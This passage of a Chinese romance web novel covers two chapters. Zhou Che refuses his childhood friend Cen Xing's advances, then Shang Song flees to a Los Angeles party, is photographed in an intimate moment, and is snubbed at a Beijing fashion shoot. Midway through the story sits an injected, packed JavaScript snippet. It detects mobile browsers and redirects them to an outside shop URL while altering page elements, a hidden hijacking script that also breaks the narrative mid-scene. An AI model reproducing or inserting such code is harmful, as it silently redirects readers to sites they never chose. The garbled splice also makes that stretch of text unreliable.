那时候商颂已经换回了那身黑色的便装,短发利落,眉眼间带着一股子谁也不服的野性,手里拿着那个奖杯。 岑星盯着屏幕看了很久。 “真好看啊。”她忽然轻声感叹,转过身,眼睛亮晶晶地看着周彻。 “周彻,演戏真的能有这么大的魔力吗?能把一个人变得完全不一样?” 她指着电视里的商颂,“我也想试试。反正我现在是盛天娱乐的头牌,影视资源应该不缺吧?我想演那种……那种杀人不眨眼的女魔头,或者精神分裂的疯子,肯定很带感!” “……” 房间里的空气凝固了一秒。 祁演坐在沙发角落,发出一声没憋住的冷笑。 周彻原本正在转动着手中的水杯,听到这句话,那动作猛地一僵。 他的嘴角极其明显地抽动了一下,眼神里闪过一丝极度的不耐烦,甚至是一种对这种天真到愚蠢言论的厌恶。 “岑星。” 周彻放下杯子,玻璃杯底撞击桌面发出“当”的一声。 “你算了吧。” “演戏不是过家家。不是你换套衣服、瞪个眼睛就能成的。” 他站起身,走到岑星面前,那高大的身躯投下一片阴影。 “商颂能演,是因为她是烂泥里爬出来的。她经历过被封|杀、被辱骂、被人在酒桌上灌到吐血。她的那些狠劲儿,是从骨头缝里长出来的。” “而你?” 周彻伸出手,轻轻碰了碰岑星那张精致无暇的脸蛋。 “你这双手,只适合弹钢琴,只适合拿着红酒杯在晚宴上笑。那种在泥浆里打滚、在冰水里泡几个小时、被人扇耳光还要笑出来的活儿……” “太脏了。不适合你。” “可是我想试嘛!”岑星不满地嘟起嘴,“凭什么她商颂能拿奖,我就只能唱歌?我也想证明我有那个爆发力啊!” “有什么不可以的!”宿染不知道是喝高了还是真傻,在一旁起哄,“星星你那气质绝了!只要往那一站就是大片!我觉得你能行!” “是吧?还是宿染有眼光!”岑星笑得花枝乱颤,和那个金毛鼓手闹作一团。 祁演坐在那里,看着眼前这荒诞的一幕。 那个被捧在手心里的公主,吵着要去体验民间疾苦,却连那疾苦的一根毫毛都受不了。而那个真正吃尽了苦头的灰姑娘,却在外面被人说成是“穷酸”。 “呵。” 祁演把最后一口酒灌进喉咙,站了起来。 “我走了。” “怎么?这就走了?”宿染还在笑,“派对才刚开始呢!” “这地方空气太好,我醉氧。” 祁演头也不回地往外走,背影萧索而决绝。 “我还是习惯那种充满烟味和汗臭味的地下室。那儿至少没这么假。” “随他去。”周彻看都没看一眼,“也就是个扶不上墙的烂泥。” 门被重重关上。 硕大的客厅里,只剩下了三个人。宿染没一会儿也醉倒在了沙发上,呼噜震天。 灯光被调暗了。 电视机还在无声地播放着。 画面里,商颂正在后台的通道里,那个短发被汗水打湿,眼神狠戾地回绝了记者的采访。 那样的生命力。那样的鲜活。 周彻盯着屏幕,只觉得胸口一阵莫名的烦躁。 就像是自己养了很久的一只金丝雀,突然咬破了笼子飞走了,还在外面的天空上变成了鹰,正盘旋着随时准备啄瞎他的眼睛。 那种失控感让他发疯。 他解开了一颗衬衫扣子,感觉这里的暖气太足了,热得让人窒息。 他想把商颂抓回来。 不管是用钱,用权,还是用更下作的手段。 把她抓回来,关进那个黄金笼子里,剪掉她的翅膀,把她那身倒刺一根根拔掉,让她重新变回那个只会仰视着他、叫他“主人”的宠物。 “周彻?” 一声娇媚的呼唤打断了他的意|淫。 周彻回过神,发现岑星不知道什么时候已经贴了过来。 她手里端着半杯红酒,眼神迷离,脸颊绯红,整个人像是没骨头一样挂在他身上。 她也看到了电视里的商颂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17346531|196108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作为女人,她太敏锐了。她看懂了周彻盯着商颂那种眼神——那是野兽看到猎物逃脱后的暴怒与占有欲。 “你也觉得她变了,是吗?” 岑星的手指在他的胸口画圈,指尖隔着衬衫,触碰到了他紧绷的肌肉。 “我不喜欢她那个眼神。”岑星嘟囔着,“太野了,太没规矩了。” 周彻没说话,只是伸手关掉了电视。 房间陷入了一片暧昧的昏暗。 “呐。” 岑星踮起脚,“外面那些人都说,咱们青梅竹马这么多年,早就该滚床单了。” 她吐气如兰,嘴唇几乎贴到了周彻的下巴上,“既然今天是咱们SOLAR重组的大好日子,这屋里也没有其他人……” 她伸手,大胆地解开了周彻的一颗扣子,手探了进去,触碰到了他滚烫的皮肤。 “我们要不要顺应民意,一起庆祝一下?” 周彻的身体却僵硬得像块石头。 没有心动,没有欲望。 甚至,他只感觉到一种生理性的反胃。 “别动。” 周彻一把抓住了岑星乱动的手,力道大得有些失控。 “疼!”岑星惊呼一声,不解地看着他。 周彻低头看着她。 这张脸,太完美了。 可是太干净了。 干净得让他觉得自己这双在商场和欲海里泡过的手,稍微碰一下,就会留下污点。 周彻松开她的手,甚至往后退了一步,拉开了两人之间的距离。 “岑星,我不行。” 岑星愣住了:“什么不行?你是说你……” “我说,”周彻深吸一口气,眼神在阴影里显得晦暗不明,“我对你,硬不起来。” 空气瞬间凝固。 这是一个男人对一个女人,尤其是对一个主动求欢的美女,最大的羞辱。 周彻走到窗前,看着下面那片漆黑的湖水。 “因为你太贵了。” 他转过身,看着岑星,那种眼神里带着一种扭曲的自虐的神圣感。 “你是岑星。你是那个在金色大厅弹钢琴的天才少女。你是我从小看着长大、发誓要捧在手心里的月亮。” “我呢?我就是个在名利场里打滚的烂人。我这双手沾过血,玩过最脏的手段,睡过最随便的女人。” “我就是一滩烂泥。” 周彻笑了一下,笑意凄凉。 “烂泥可以养出带刺的玫瑰,可以滋养杂草。但是烂泥不敢碰月亮。” “一旦碰了,月亮就脏了。” “岑星,我不想把你变成那些可以随便睡的女人。我把你放在那个神坛上,是因为只有在那里,你才是完美的。” “如果我也把你拖下来,跟我一起在这个泥坑里打滚……” 他指了指这间奢华却充满了腐朽气息的房子。 “那我就真的,连最后一点做梦的地方都没有了。” 岑星呆呆地站在那里,衣服凌乱,脸色惨白。 她听懂了。 这不是爱。 这是供奉。 他把自己当成了信徒,把她当成了神像。信徒会为了神像去杀人放火,去建造金碧辉煌的庙宇。 但信徒,永远不敢亵渎神像。 而商颂呢? 商颂是那个陪他在地狱里狂欢的魅魔。是他可以在发泄兽|欲时毫无顾忌地撕咬、可以在愤怒时按在地上摩擦的“同类”。 他对商颂,那是刻在骨子里的、因为太熟悉对方的阴暗面而产生的上瘾。 “睡吧。” 周彻拿起外套,披在那个已经傻掉的女孩身上,像个绅士,也像个冷酷的神父。 “别再提这种傻话了。你是要做公主的人,别把自己弄得像个想要争宠的嫔妃。” “早点休息。明天还得去录节目。” 57. 第 57 章 一通越洋视频打了进来。 屏幕上出现了一张有着漂亮蓝眼睛的混血面孔。 AlexChen。 背景是洛杉矶那种肆意张扬的阳光和棕榈树。 “Hey,Shang。”Alex戴着墨镜,手里举着一杯看起来就很不正经的鸡尾酒,“听说你在国内那个破地方快发霉了?我看新闻了,你那个‘前夫哥’的新欢闹得挺大啊。” 这家伙,嘴还是一如既往的毒。 “Alex,有话直说,我现在没空跟你叙旧。”商颂按着太阳穴。 “OK。”Alex摘下墨镜,那双蓝眼睛凑近屏幕,“我的新录音室建好了。正好,我要给一部好莱坞的暗黑风格电影做原声带,缺几把好嗓子。” “把GALAXY带过来吧。” “我觉得你现在这个状态就像是一颗熟透了、即将腐烂的果实。那种味道,太适合我的音乐了。你来加州晒晒太阳吧,不然我怕你还没红遍全球,就在北京那个大冰窖里自己把自己冻死了。” 这简直是瞌睡送枕头。 当飞机落地洛杉矶的那一刻。商颂深吸了一口这里干燥甚至带着点尘土味的热风,觉得那个压在胸口的大石头,终于松动了一分。 没有周彻,没有岑星,也没有伯雪寻。 这里是自由的国度。是陌生人的海洋。 Alex并没有直接带她们去录音棚。 当天晚上,一辆加长林肯停在酒店门口,直接把还没倒过时差的GALAXY四人拉到了比弗利山庄的一栋私人豪宅前。 “这是?”谢卿歌看着门口那一排排千万级别的超跑,还有那些穿着清凉、神色迷离的男女,吹了声口哨,“Alex这是要带我们见世面?” “不。” Alex穿着一件丝绸衬衫,领口开到了胸肌下沿,脖子上挂着各种浮夸的银饰。他站在大门口,张开双臂,像个纵情声色的酒神。 “这是治疗。” 他走到商颂面前,低头看着她。她今天穿得太保守了,依然是那身黑色的卫衣,把自己裹得像个修女。 “Monchéri(亲爱的),”Alex伸出手指,挑起她卫衣的一根带子,“你身上那股压抑的霉味太重了。” “今晚这里是好莱坞某个金牌制片人的私人Party。这里没有狗仔,没有道德,只有最纯粹的感官刺激。” 他把一杯烈酒塞进商颂手里。 “想怎么疯就怎么疯。把你心里那头困兽放出来。只有把它喂饱了,你才能写出我想要的歌。” 商颂握着那杯酒。 周围的重低音像锤子一样敲打着耳膜。 她看见一个当红的美国说唱歌手正跳进泳池,几个身材火辣的模特正在桌子上跳舞。 这简直就是一个光怪陆离的异世界。 “来都来了。” 商颂仰头,一口喝干了那杯不知道什么基酒调的烈酒。 她脱掉了那件累赘的卫衣,只留下一件黑色的紧身吊带。她甩开头发,露出了那双在大洋彼岸足以迷倒众生的东方媚眼。 “Alex。”商颂抓住了Alex的领口,眼神里透出一股子破罐子破摔的野性,“既然是治疗,那就下点猛药。” 这一晚的商颂,像是彻底变了一个人。 她在舞池里狂舞,不再是那种为了镜头而设计的完美动作,而是一种毫无章法发泄式的扭动。她在人群中穿梭,和陌生的面孔碰杯,在那迷幻的灯光下大笑。 她像是一团终于被点燃的黑火。 凌晨三点。 派对的狂热稍微退去了一些,人们开始三三两两地倒在沙发上、泳池边,享受着余韵。 商颂靠在露台的栏杆上,手里夹着一支刚从Alex那里顺来的烟。 洛杉矶的夜景就在脚下,星光璀璨,却又如此遥远。 “Feelingbetter?(感觉好点了吗?)” Alex走了过来。他手里拿着两瓶冰啤酒,衬衫已经湿透了,那种混血特有的立体五官在夜色中显得格外深邃。 “好点了。”商颂接过啤酒,贴在滚烫的脸颊上,“至少,这会儿我不觉得自己是个废物了。” Alex看着她。 那个平日里高冷的女王,此刻就像是个找不到家的小女孩。她的眼神是那么的寂寞,那种深入骨髓的寂寞,即便是这满屋子的狂欢也填不满。 “其实我知道。”Alex靠在她旁边,看着远处的好莱坞标志,“你在等一个人。” 商颂的手指颤了一下。 “等谁?” “等你那个所谓的‘前男友’。” Alex转过头,那双蓝眼睛像是能看透一切,“你把自己包得那么严实,拒绝所有的示好,拼命地赚钱,甚至在这里装疯卖傻,其实都是在等他。” “你在等他回来,带你走。” 被戳穿了。 在这异国他乡的深夜里,被一个只合作过两次的男人,一语道破了她最隐秘的期待。 商颂没说话,只是猛吸了一口烟,然后被呛得剧烈咳嗽起来。 “可是Alex。”商颂红着眼眶,“他不会来了。他被关起来了,被那份合同,被那个把他当神的女孩,被这操蛋的现实。” “我甚至都不知道,这段恋情这辈子还能不能见光。” Alex叹了口气。 他放下啤酒,走到商颂面前。 他伸出双手,捧住了那张即使在崩溃中也依然美得让人心惊的脸。 “既然他不来。” Alex的声音变得低沉而富有磁性,那是属于花花公子特有的诱导,“为什么不试着,放过你自己?” “商颂,这里是洛杉矶。今晚,没有人认识你。” “我不是那个周彻,我也不是那个伯雪寻。我只是Alex。一个愿意陪你在地狱里跳舞的酒搭子。” 他低下头。 在商颂还来不及反应,或者说,在她根本不想反应的瞬间。 他的嘴唇,并没有落在她的唇上。 而是擦着她的嘴角,极其暧昧、极其缓慢地,在她的脸颊上,印下了一个贴面吻。 那是一个典型的、西式的礼仪。 但在这样的深夜,在两个刚在酒精和音乐里发泄过的人之间,这个动作被赋予了另一种更加危险的含义。 那是一种带着体温的安慰,也是一种越界的试探。 “晚安,我的楚门女孩。” Alex在她耳边轻声说,“记住,这只是个派对。天亮之后,谁都不必记得谁。” 就在这一刻。 “咔嚓。” 一道极其微弱却足以致命的闪光,在露台对面的树丛里一闪而过。 但那张照片,已经定格。 背景是洛杉矶璀璨的夜景。前景里,那个混血的天才制作人,正捧着那位当红的东方女星的脸,两人在月光下,亲密无间地“接吻”。 从洛杉矶那场纸醉金迷的派对回到北京,仿佛是从一个自由放纵的梦境,商颂一脚踏空,跌回了铁笼。 只有她自己知道,有什么东西不一样了。 北京《时尚芭莎》的顶级摄影棚。 “咔嚓、咔嚓。” 快门声如密集的鼓点,敲击着在场每一个人的神经。 背景板是一片纯粹的、压抑的工业灰。而在那片灰色前,商颂正以一种亵渎的姿态,统治着整个镜头。 她剪短了的头发被发型师做成了那种极具质感的湿发造型,几缕发丝凌乱地贴在脸颊和脖颈上,像是刚刚从深海或者欲海中挣扎而出。 她没有穿那种彰显“顶流女星”身份的仙女裙。 她穿了一套YSL的吸烟装。但这套西装经过了最大胆的改良——真空上阵,且腰部与后背做了大面积的镂空剪裁。黑色的布料紧紧包裹着她每一寸肌肉线条,雪白的肌肤在黑色的缺口中若隐若现,像是某种禁忌的图腾。 “Excellent!(太棒了!)MonDieu...(我的上帝……)” 掌镜的是圈内最负盛名、也是最挑剔的法籍摄影师René。此刻,这个向来把明星骂得狗血淋头的男人,正举着那个沉重的哈苏相机,满头大汗,眼神里却燃烧着一种狂热的痴迷。 “Chinup!(抬下巴!)”René大喊,“Showmeyourdisdain!Showmehowyoutrampletheworld!(给我看你的蔑视!让我看看你怎么践踏这个世界!)” 商颂闻言,微微仰起头。 那双画着极细、极挑眼线的眸子,半阖着,视线并没有聚焦在镜头上,而是带着一种漫不经心的厌倦,穿透了那层玻璃镜片。 她随手从口袋里掏出一支细长的薄荷烟,并没有点燃,只是叼在红唇间,牙齿轻轻咬住滤嘴。 那是一种“我在烂泥里打过滚,现在老娘谁也不在乎”的顶级松弛感。 那种雌雄莫辨的性张力,让在场的小助理们脸红心跳,连呼吸都忘了。 “Stop!” René忽然放下相机,整个人像是不受控制一般,从摄影梯上冲了下来。 他快步走到商颂面前,那个平时高傲的法国人,此刻竟然膝盖一软,单膝跪在了那块灰色的背景布上。 他伸出手,颤抖着捧起商颂那只涂着黑色指甲油、带着夸张金属戒指的手。 “你是魔鬼……”René喃喃自语,那双蓝眼睛里全是迷乱,“只有地狱里爬出来的魔鬼,才会有这种想要把人灵魂吸干的眼神。” 他低下头,虔诚无比地在那只冰冷的手背上落下了一个吻。 这已经超出了摄影师和模特的界限。 这是赤裸裸的迷恋,是艺术家对缪斯的臣服。 全场哗然。苏曼在旁边皱了皱眉,想上前阻止,却被商颂一个眼神制止了。 商颂并没有把手抽回来。 她居高临下地看着这个跪在自己面前的男人。要是以前的她,或许会惊慌,会觉得冒犯。 但现在,她只是觉得好笑。 “René。”商颂抽回手,顺势拍了拍他的脸颊,就像在拍一只讨好主人的大金毛。 “戏过了。” 她笑了一声,声音慵懒沙哑,“这只手刚才抓过地板,还没洗呢。你要是喜欢灰尘的味道,我不介意再让你多闻一会儿。” René抬起头,刚想说什么表白的话。 “哐当。” 摄影棚那扇厚重的隔音大门,忽然被人从外面推开了。 一股子带着阳光和那种老派优雅的香水味,极其强势地涌了进来。 那是另一个世界的味道。 “不好意思,我们是不是来早了?” 门口,一群人正浩浩荡荡地走进来。 是SOLAR乐队。 走在最前面的,是被众星捧月的岑星。 她今天美得让人不敢直视。 不同于商颂这种带着攻击性的“黑”,岑星是一身复古的珍珠白缎面长裙,那裙子一看就是古董高定,每一处褶皱都散发着金钱和品味的光泽。她的长发被优雅地盘起,露出一张纯洁无瑕的脸。 而在她身后,周彻一身深灰色双排扣西装,神色冷淡地跟随着;祁演背着吉他,依然是一副颓废的样子,却比以前多了几分沉默;连那个总是咋咋呼呼的鼓手宿染,都收敛了声色。 这就是“正宫”的气场。 当岑星出现的那一秒,原本还跪在地上对商颂顶礼膜拜的René,就像是被某种神秘力量击中了一样。 他猛地转过头,视线在触及到岑星的一刹那,整个人僵住了。< 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René像是触电一样从地上弹了起来。他顾不上整理自己那一身灰,快步冲到岑星面前,手足无措得像个初出茅庐的学徒。 “Cen!是你!真的是你!”René激动得语无伦次,“我在VOGUE上看过你的钢琴独奏照!那是天使的手!那是只有在卢浮宫才能看到的光!” 商颂站在原地。 她那只刚刚被吻过的手,此刻正尴尬地悬在半空,指尖夹着那根没抽完的烟,烟灰掉落在昂贵的西裤上,烫出了一个小洞。 但没人在意。 因为那个前一秒还在对她表白的男人,现在已经完全背对着她,全身上下的每一个细胞都在对着那个白衣女人摇尾巴。 “René。” 岑星微微侧头,眼神流转,目光轻飘飘地在商颂身上扫过,最后又落回到那个激动的摄影师身上。 “虽然是下一场才轮到我们,但是……” 她理了理裙摆,那个动作优雅得挑不出一丝毛病。 “现在的光线正好。我听说你的抓拍是世界顶级的。不知道我有没有这个荣幸,让你在正式拍摄前,先给我拍一张?” 这是一个极其明显带有抢夺意味的邀请。 在同一个棚里,当着上一位还没收工的艺人的面,直接要求摄影师为自己服务。 换做任何一个讲规矩的圈子,这都是大忌。 但是在这里。在面对岑星这张脸,以及她身后站着的那个背景深不可测的周氏集团太子爷时。 规矩就是个屁。 René几乎没有任何犹豫。 “当然!MyPleasure!(我的荣幸!)” 他迅速转身,看都没看一眼站在背景板前的商颂,直接对着助理大吼:“灯光!把主光调过来!反光板呢?!快!别让我的缪斯等久了!!” “呼啦。” 整个摄影棚的工作重心瞬间转移。 灯光师、化妆师、场务,像是一群嗅到了花蜜的蜜蜂,抛弃了那个“过气”的花朵,一窝蜂地涌向了那朵盛开的白玫瑰。 连原本属于商颂的那个化妆台,都被人眼疾手快地收拾出来,摆上了岑星专用的依云水。 商颂就被晾在那里。 背景板是灰色的。她的衣服是黑色的。 在一群围着白色转的人群之外,她就像是一个不小心闯入了天宫的孤魂野鬼。 祁演站在门口,看着这一幕,手里提着的吉他箱带子勒进了肉里。他想冲过去把那摄影师的相机砸了,想大声质问这群人有没有职业道德。 但他动不了。 因为周彻就在他前面。 那个男人双手插袋,静静地看着那群人围着岑星忙碌。他的脸上没有什么表情,但在看到商颂被冷落的那一刻,他的眼镜片反光了一下,掩盖了那一闪而逝的情绪。 商颂看着那被人群簇拥的中心。 她只是静静地吸了一口烟,然后把烟头扔在脚下,用力踩灭。 “走吧,苏曼。” 她转过身,对旁边气得脸色铁青的经纪人说,“这地儿太亮了,晃眼睛。咱们回下水道待着去。” 苏曼咬牙:“颂颂,这太过分了!我去跟主办方……” “不用。” 商颂拦住了她。 她一边走,一边脱下了那是价值不菲的YSL西装外套,只穿着那件更加露骨的内搭,那大片的后背裸露在空气中,背脊上那些细小的伤痕清晰可见。 她走过周彻身边时,甚至没有停顿,连个眼神都没给。 但她的嘴角,却一直挂着那抹笑。 那种好像是在看一场拙劣的小丑戏又好像是在看自己那可笑命运的笑。 商颂回到了保姆车上。 车窗关上,那种被羞辱后的寒意才从四肢百骸渗透出来。 她拿起手机,点开了音乐软件。 没有去听那首让她成名的《杜鲁门女孩的忧郁》,也没有听祁演的《自画像》。 她在搜索框里,输入了一首很久远的英文歌。 MariaArredondo——《Burning》。 前奏响起,商颂没有说话,只是默默地把这首歌和《给我你的眼睛》demo,分享到了微博和ins。 没有配图。 没有文字。 只有一个动态的分享链接。 【Passionissweet(激情是甜蜜的) Lovemakesweak(爱让人脆弱) Yousaidyoucherishedfreedomso(你说你如此珍视自由) Yourefusetoletitgo(所以你拒绝放手)】